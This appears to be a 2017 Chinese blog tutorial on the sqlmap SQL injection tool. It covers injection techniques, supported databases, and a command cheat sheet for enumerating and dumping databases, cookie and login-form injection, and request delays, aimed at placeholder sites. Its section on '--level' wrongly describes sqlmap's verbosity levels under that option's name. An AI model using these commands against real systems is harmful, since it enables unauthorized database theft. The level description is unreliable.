sqlmap之(二)----注入前奏

1.sqlmap支持的注入模式

 

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注: 即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注: 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入:  即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入: 可以使用union的情况下的注入。

5、堆查询注入: 可以同时执行多条语句的执行时的注入。

 

 

2.sqlmap支持注入的数据库

 

MySQLOracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

 

3.注入的一个流程

 

给sqlmap一个url的时候,它会:


1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据

 

url可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。
还可以设定HTTP(S)请求的并发数,来提高盲注时的效率。

 

4.sqlmap运行的级别--level


sqlmap中共有七个等级,默认等级为1

0、只显示Python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

 

等级是指测试结果的输出的详细程度,根据测试,--level等级的提高得到的效果远比-v等级提高得到的效果好,如果你想看到sqlmap发送的测试payload最好的等级就是3。

 

5.对各种注入的一些基本步骤

 

1.sqlmap注入拖库常用命令

 

 

[html] view plain copy
 
  1. sqlmap.py -u “注入地址” -v 1 --dbs   // 列举数据库   
  2.   
  3. sqlmap.py -u “注入地址” -v 1 --current-db   // 当前数据库  
  4.   
  5. sqlmap.py -u “注入地址” -v 1 --users    // 列数据库用户  
  6.   
  7. sqlmap.py -u “注入地址” -v 1 --current-user  // 当前用户  
  8.   
  9. sqlmap.py -u “注入地址” -v 1 --tables -D “数据库”   // 列举数据库的表名  
  10.   
  11. sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库”   // 获取表的列名  
  12.   
  13. sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列   

 

 

 

2.access注入

 

 

[html] view plain copy
 
  1. 1.输入url  
  2. 2.url --tables 猜表  
  3. 3 url--columns -T 表名     暴字段  
  4. 4.url --dump(脱裤) -T 表名 -C "字段名"  暴内容  

 

 

 

3.mysql注入

 

[html] view plain copy
 
  1. url --current-db当前库  
  2. url --current-user当前用户  
  3. url --dbs     获得数据库  
  4. url -D 数据库 --tables 获得表  
  5. url -D 数据库 -T 表名 --columns 暴字段  
  6. url -D 数据库 -T 表名 -C 字段 --dump   暴内容  

 

 


4.cookie注入

[html] view plain copy
 
  1. url --cookie "id=" --table --level 2    暴表  
  2. url --cookie "id=" --columns -T 表名 --level 2 获得字段  
  3. url --cookie "id=" --dump -T 表名 -C "字段名" --level 2  获得内容  

 

5.POST登陆框注入

注入点:

http://xxx.xxx.com/Login.asp


注入方式一:

     1.对着注入点使用burp抓包,保存txt格式文件。
     2.输入命令:sqlmap.py -r search-test.txt -p tfUPass


注入方式二:自动搜索表单的方式    

[html] view plain copy
 
  1. sqlmap -u http://www.xxx.com/Login.asp --forms  

 


注入方式三:指定一个参数的方法 

[html] view plain copy
 
  1. sqlmap -u http://www.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"  

 

 

6.cookie注入

单个注入

 

 

[html] view plain copy
 
  1. sqlmap -u “http://www.xxx.com/index.php” –cookie “id=1″  –dbs –level 2  
  2. sqlmap -u “http://www.xxx.com/index.php” –cookie “id=” –clumns -T 表段 –level 2  
  3. sqlmap -u “http://www.xxx.com/index.php” –cookie “id=” –dump -T 表段 -C “user,pass” –level 2  

 

 

7.伪静态注入

目标站点:http://www.xxxx.com/id/3-1.html

[html] view plain copy
 
  1. sqlmap -u www.xxxx.com/id/3*.html –dbs  

 

 


8.请求延时注入

 

[html] view plain copy
 
    1. sqlmap –dbs -u usr –delay 1(时间,可随意)  
    2. sqlmap –dbs -u usr –safe-freq 1(次数,可随意)  
posted @ 2017-06-15 11:05  寂地沉  阅读(339)  评论(0编辑  收藏  举报